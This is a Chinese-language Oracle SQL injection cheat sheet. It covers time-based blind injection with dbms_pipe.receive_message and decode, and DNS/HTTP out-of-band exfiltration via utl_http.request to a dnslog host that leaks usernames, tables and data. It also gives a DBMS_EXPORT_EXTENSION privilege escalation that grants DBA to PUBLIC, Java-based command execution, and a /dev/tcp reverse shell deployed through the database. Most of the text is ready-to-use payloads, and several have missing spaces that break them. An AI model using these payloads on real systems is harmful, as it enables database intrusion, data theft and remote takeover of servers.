时间盲注
dbms_pipe.receive_message()
在Oracle中,DBMS_LOCK.SLEEP()函数虽然能让进程休眠,但存在诸多限制:它无法直接用于子查询(Oracle不支持堆叠查询),且通常需要DBA权限才能调用DBMS_LOCK包。
更实用的方法是使用dbms_pipe.receive_message()函数,它能以内联方式注入延迟。该函数会等待从指定管道(如'RDS')返回数据,默认等待时间(例如10秒)可控,并且通常允许PUBLIC权限执行。
查看是否可利用该函数进行延时注入:
?id=1and1=(dbms_pipe.receive_message('RDS',5))--+
猜解当前用户:
?id=1and7238=(case when (ascii(substrc((select nvl(cast(user as varchar(4000)),chr(32)) from dual),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else7238 end) --+
猜解表名:
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(table_name asvarchar(4000)),chr(32)) from all_tables whererownum=1and owner='TEST'),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else7238end) --+
猜解字段名:
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(column_name asvarchar(4000)),chr(32)) from all_tab_columns where owner='TEST'and table_name='USERS'andrownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else7238end) --+
猜解数据:
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(username asvarchar(4000)),chr(32)) from test.users whererownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else7238end) --+
decode()
其原理是结合耗时查询,通过decode()函数判断条件真假,从而引发响应时间差异。但该方法有时不够稳定,响应时间可能波动。
?id=1 and 1=(selectdecode(substr(user,1,1),'S',(selectcount(*) from all_objects),0) from dual) --+
decode() 与 dbms_pipe.receive_message() 嵌套
结合两者可以构造更稳定的时间盲注Payload。
?id=1 and 1=(selectdecode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0) from dual) --+
DNS外带注入
Oracle的带外通信(OOB)技术与MySQL的load_file()实现无回显注入思路相似。它通过发送HTTP或DNS请求,将查询结果外带到攻击者控制的服务器日志中,从而绕过繁琐的盲注过程。
- HTTP请求外带:利用
utl_http.request()发送请求,将查询结果拼接在URL中。
- DNS请求外带:利用
utl.inaddr.get_host_address(),将查询结果作为子域名的一部分,通过DNS解析日志获取。
检测是否支持utl_http.request:
?id=1 and exists (selectcount(*) from all_objects where object_name='UTL_HTTP') --+
获取用户名:
?id=1and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
获取表名:
?id=1 and utl_http.request('http://'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
获取列名:
?id=1and utl_http.request('http://'%7c%7c(select column_name from all_tab_columns where owner='TEST'and table_name='USERS'and rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
获取数据:
?id=1and utl_http.request('http://'%7c%7c(select username from test.users where rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
利用漏洞提权命令执行
dbms_export_extension()
- 影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (已于2006年7月CPU修复)。
- 权限:无特殊要求。
- 详情:此包内多个函数存在PL/SQL注入漏洞。这些函数由SYS拥有并以SYS权限执行,且默认授权给PUBLIC。在未打补丁的版本中,可利用此漏洞执行任意SYS查询。
提权操作(授予PUBLIC用户DBA角色):
该Payload会触发一个以SYS身份执行的自治事务,从而将DBA权限授予PUBLIC。
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual
利用Java执行系统命令:
通过注入创建Java类、授权、创建函数等一系列操作,最终实现命令执行。
- 创建Java库:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual
- 赋予Java权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual
- 创建调用Java的函数:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual
- 授予函数执行权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
- 执行系统命令:
select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual
dbms_xmlquery.newcontext()
- 影响版本:同上,需在
DBMS_EXPORT_EXTENSION存在漏洞的前提下使用。
- 利用方式:与上述类似,通过注入创建Java类和函数。
- 创建Java库:
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
- 赋予当前用户Java权限(需先查询当前用户
YY):
select user from dual;
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;
- 创建函数:
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
- 验证与执行:
-- 判断是否创建成功
select OBJECT_ID from all_objects where object_name='LINXRUNCMD';
-- 执行命令
select LinxRunCMD('id') from dual;
dbms_java_test.funcall()
- 影响版本:10g R2, 11g R1, 11g R2。
- 前提:需具备Java执行权限。
- 用法:直接调用该函数执行命令(可能报错但不影响执行)。
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;
Java反弹Shell
以下是一个用于Linux系统的Java反弹Shell代码示例,可通过上述漏洞在Oracle中编译并执行。
Java源代码 (shellRev.java):
import java.io.*;
import java.net.*;
public class shellRev{
public static void main(String[] args){
System.out.println(1);
try{
run();
}catch(Exception e){}
}
public static void run() throws Exception{
String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};
Process p=Runtime.getRuntime().exec(aaa);
}
}
本地测试编译与执行:
# 编译
javac shellRev.java
# 执行
java shellRev
通过SQL注入在Oracle中部署并执行反弹Shell:
- 创建包含反弹Shell代码的Java库:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual
- 赋予网络Socket权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
- 创建调用Java的数据库函数:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
- 授予函数执行权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual
- 触发反弹Shell连接:
select sys.reversetcp from dual
|